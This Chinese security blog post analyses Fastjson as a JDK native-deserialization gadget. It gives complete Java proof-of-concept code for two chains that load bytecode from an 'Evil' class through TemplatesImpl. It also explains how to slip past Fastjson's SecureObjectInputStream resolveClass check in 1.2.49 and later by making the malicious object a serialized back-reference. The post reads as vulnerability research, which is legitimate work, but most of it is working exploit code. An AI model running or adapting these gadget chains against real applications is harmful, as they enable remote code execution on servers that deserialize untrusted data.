前言 在高版本的Fastjson利用中,除了利用黑名单外的类,还有什么其它的办法能够绕过AutoType呢?实际上,Fastjson自身其实也会在JDK原生反序列化中作为一个Gadget来触发漏洞,利用这一特性就可以绕过高版本Fastjson中对Autotype的限制。
初探 由于是利用Fastjson实现原生反序列化,那么需要先知道在Fastjson包中有哪些类继承了Serializable接口,利用IDEA搜一下发现JSONArray 和JSONObject 这两个类符合条件。
JSONArray和JSONObject这两个类虽然实现了Serializable接口,但是自身并没有实现readObject方法的重载,并且继承的JSON类同样没有readObject方法。
因此,只能通过其他类的readObject做中转,从而触发JSONArray、JSONObject或者JSON类当中的某个方法,最终实现利用链构造。
在上一篇文章Cursory Analysis Of Fastjson ,在分析parse突破特殊getter调用限制时,提到了可以利用JSONObject#toString来触发任意类的getter方法,那么能不能利用这个特性来实现FastJson在原生反序列化当中的利用呢?
既然可以触发任意类的getter方法,不难想到可以直接利用TemplatesImpl类的getOutputProperties方法实现字节码动态加载来触发恶意方法利用。那么现在就只需要找到JDK原生反序列化触发toString方法的Gadget,这也是一个很熟悉的知识点了,可以利用下面两条Gadget来调用toString方法:
BadAttributeValueExpException#readObject -> JSONObject#toString
HashMap#readObject -> XString#equals -> JSONObject#toString
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 public class FastjsonSelfUnser { public static void main (String[] args) throws Exception { BadAttributeValueExpException badAttributeValueExpExceptionPoc = getBadAttributeValueExpExceptionPoc(); HashMap hashMap = getXStringPoc(); try { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream outputStream = new ThreeCustomObjectOutputStream (byteArrayOutputStream); outputStream.writeObject(hashMap); outputStream.flush(); outputStream.close(); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (byteArrayOutputStream.toByteArray()); ObjectInputStream inputStream = new ObjectInputStream (byteArrayInputStream); inputStream.readObject(); inputStream.close(); } catch (Exception e) { e.printStackTrace(); } } public static BadAttributeValueExpException getBadAttributeValueExpExceptionPoc () throws Exception { JSONArray jsonArray = new JSONArray (); jsonArray.add(getTemplatesImpl()); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null ); setFieldValue(badAttributeValueExpException, "val" , jsonArray); return badAttributeValueExpException; } public static HashMap getXStringPoc () throws Exception { JSONArray jsonArray = new JSONArray (); jsonArray.add(getTemplatesImpl()); XString xString = new XString ("" ); HashMap<Object, Object> map1 = new HashMap <>(); HashMap<Object, Object> map2 = new HashMap <>(); map1.put("aa" , jsonArray); map1.put("bB" , xString); map2.put("aa" , xString); map2.put("bB" , jsonArray); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put(map1, "1" ); hashMap.put(map2, "1" ); return hashMap; } public static TemplatesImpl getTemplatesImpl () throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(Evil.class.getName()); byte [] code = clazz.toBytecode(); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_bytecodes" , new byte [][] {code}); setFieldValue(templates, "_name" , "Evil" ); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); return templates; } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj,value); } }
再探 在上文中实现了Fastjson作为原生反序列化的Gadget利用,但是上文的POC仅限于fastjson 1.2.48版本之前,这是因为从1.2.49版本开始,JSONArray与JSONObject拥有了自己的readObject方法。
此时的反序列化的调用过程如下,先触发一次不安全的 ObjectInputStream的readObject,然后当调用JSONArray/JSONObject的Object方法触发反序列化时,会将这个反序列化过程委托给SecureObjectInputStream进行处理,触发resolveClass实现对恶意类的拦截。
1 2 3 4 5 ObjectInputStream -> readObject -> SecureObjectInputStream -> readObject -> resolveClass TestInputStream -> readObject -> resolveClass
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String name = desc.getName(); if (name.length() > 2 ) { int index = name.lastIndexOf('[' ); if (index != -1 ) { name = name.substring(index + 1 ); } if (name.length() > 2 && name.charAt(0 ) == 'L' && name.charAt(name.length() - 1 ) == ';' ) { name = name.substring(1 , name.length() - 1 ); } if (TypeUtils.getClassFromMapping(name) == null ) { ParserConfig.global.checkAutoType(name, null , Feature.SupportAutoType.mask); } } return super .resolveClass(desc); }
因此,当第一次的ObjectInputStream#readObject并未进行安全防御时,会进入SecureObjectInputStream来处理反序列化流程,此时如果能绕过resolveClass,那么就依旧能实现恶意的反序列化攻击。
为了实现这个目的,先看看在什么情况下会调用resolveClass方法来实现对恶意类的拦截,在SecureObjectInputStream#resolveClass方法处下断点,查看一下堆栈信息。
1 2 3 4 5 6 7 8 9 resolveClass:586 , JSONObject$SecureObjectInputStream (com.alibaba.fastjson) readNonProxyDesc:1613 , ObjectInputStream (java.io) readClassDesc:1518 , ObjectInputStream (java.io) readOrdinaryObject:1774 , ObjectInputStream (java.io) readObject0:1351 , ObjectInputStream (java.io) defaultReadFields:2000 , ObjectInputStream (java.io) defaultReadObject:501 , ObjectInputStream (java.io) readObject:486 , JSONArray (com.alibaba.fastjson) ...
在java.io.ObjectInputStream#readObject0方法中,会根据读到的bytes中tc的数据类型进行对应的处理来恢复部分对象。在Switch-Case语句中,大部分方法最终都会调用readClassDesc去获取类的描述符,而不会调用readClassDesc方法的分支有TC_NULL、TC_REFERENCE、TC_STRING、TC_LONGSTRING、TC_EXCEPTION,其中NULL、STRING与LONGSTRING类型没有什么用处,EXCEPTION类型则是解决序列化终止相关,因此只剩下REFERENCE类型。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 switch (tc) { case TC_NULL: return readNull(); case TC_REFERENCE: return readHandle(unshared); case TC_CLASS: return readClass(unshared); case TC_CLASSDESC: case TC_PROXYCLASSDESC: return readClassDesc(unshared); case TC_STRING: case TC_LONGSTRING: return checkResolve(readString(unshared)); case TC_ARRAY: return checkResolve(readArray(unshared)); case TC_ENUM: return checkResolve(readEnum(unshared)); case TC_OBJECT: return checkResolve(readOrdinaryObject(unshared)); case TC_EXCEPTION: IOException ex = readFatalException(); throw new WriteAbortedException ("writing aborted" , ex); case TC_BLOCKDATA: case TC_BLOCKDATALONG: if (oldMode) { bin.setBlockDataMode(true ); bin.peek(); throw new OptionalDataException ( bin.currentBlockRemaining()); } else { throw new StreamCorruptedException ( "unexpected block data" ); } case TC_ENDBLOCKDATA: if (oldMode) { throw new OptionalDataException (true ); } else { throw new StreamCorruptedException ( "unexpected end of block data" ); } default : throw new StreamCorruptedException ( String.format("invalid type code: %02X" , tc)); }
此时,如果当前反序列化数据下一位仍然是TC_CLASSDESC,则会在readNonProxyDesc方法中触发resolveClass方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 private ObjectStreamClass readClassDesc (boolean unshared) throws IOException { byte tc = bin.peekByte(); switch (tc) { case TC_NULL: return (ObjectStreamClass) readNull(); case TC_REFERENCE: return (ObjectStreamClass) readHandle(unshared); case TC_PROXYCLASSDESC: return readProxyDesc(unshared); case TC_CLASSDESC: return readNonProxyDesc(unshared); default : throw new StreamCorruptedException ( String.format("invalid type code: %02X" , tc)); } }
上文提到了不会调用readClassDesc方法的分值重只剩下REFERENCE类型,那么如何在JSONArray/JSONObject对象反序列化恢复对象时,让恶意类成为引用REFERENCE类型,从而绕过resolveClass的检查呢?
在java.io.ObjectOutputStream#writeObject0方法中存在一个判断,当再次写入同一对象时,如果在handles这个哈希表中查到了映射,就会通过writeHandle方法将重复对象以REFERENCE类型写入,因此向List、Set及Map类型中添加同样对象时即可成功利用。
Payload构建思路如下:
序列化时,先将templates加入ArrayList,后续在JSONArray中再次序列化TemplatesImpl时,由于在handles这个哈希表中查到了映射,后续则会以引用形式输出。
反序列化时,ArrayList先通过readObject恢复TemplatesImpl对象,之后恢复BadAttributeValueExpException对象,在恢复过程中,由于BadAttributeValueExpException要恢复val对应的JSONArray/JSONObject对象,会触发JSONArray/JSONObject的readObject方法,将这个过程委托给SecureObjectInputStream,在恢复JSONArray/JSONObject中的TemplatesImpl对象时,由于此时的第二个TemplatesImpl对象是引用类型,通过readHandle恢复对象的途中不会触发resolveClass,由此实现了绕过。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 public class FastjsonSelfUnserAll { public static void main (String[] args) throws Exception { HashMap badAttributeValueExpExceptionPoc = getBadAttributeValueExpExceptionPoc(); HashMap xStringPoc = getXStringPoc(); try { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream outputStream = new ThreeCustomObjectOutputStream (byteArrayOutputStream); outputStream.writeObject(xStringPoc); outputStream.flush(); outputStream.close(); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (byteArrayOutputStream.toByteArray()); ObjectInputStream inputStream = new ObjectInputStream (byteArrayInputStream); inputStream.readObject(); inputStream.close(); } catch (Exception e) { e.printStackTrace(); } } public static HashMap getBadAttributeValueExpExceptionPoc () throws Exception { TemplatesImpl templatesImpl = getTemplatesImpl(); JSONArray jsonArray = new JSONArray (); jsonArray.add(templatesImpl); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null ); setFieldValue(badAttributeValueExpException, "val" , jsonArray); HashMap hashMap = new HashMap (); hashMap.put(templatesImpl, badAttributeValueExpException); return hashMap; } public static HashMap getXStringPoc () throws Exception { JSONArray jsonArray = new JSONArray (); jsonArray.add(getTemplatesImpl()); XString xString = new XString ("" ); HashMap<Object, Object> map1 = new HashMap <>(); HashMap<Object, Object> map2 = new HashMap <>(); map1.put("aa" , jsonArray); map1.put("bB" , xString); map2.put("aa" , xString); map2.put("bB" , jsonArray); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put(map1, "1" ); hashMap.put(map2, "1" ); HashMap map = new HashMap (); map.put(getTemplatesImpl(), xString); return map; } public static TemplatesImpl getTemplatesImpl () throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(Evil.class.getName()); byte [] code = clazz.toBytecode(); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_bytecodes" , new byte [][] {code}); setFieldValue(templates, "_name" , "Evil" ); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); return templates; } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj,value); } }
可以看到在JSONArray中再次序列化TemplatesImpl时,由于在handles这个哈希表中查到了映射,后续则会调用writeHandle方法以引用形式输出。
思考 上文提到了是在先触发不安全的ObjectInputStream#readObject方法 ,那如果此时的反序列化的入口为一个继承ObjectInputStream的类并重写resolveClass方法的自定义类时,那该如何进行绕过呢?
思路也很简单,直接利用未被列入黑名单的二次反序列化利用类即可绕过。
参考 FastJson与原生反序列化
FastJson与原生反序列化(二)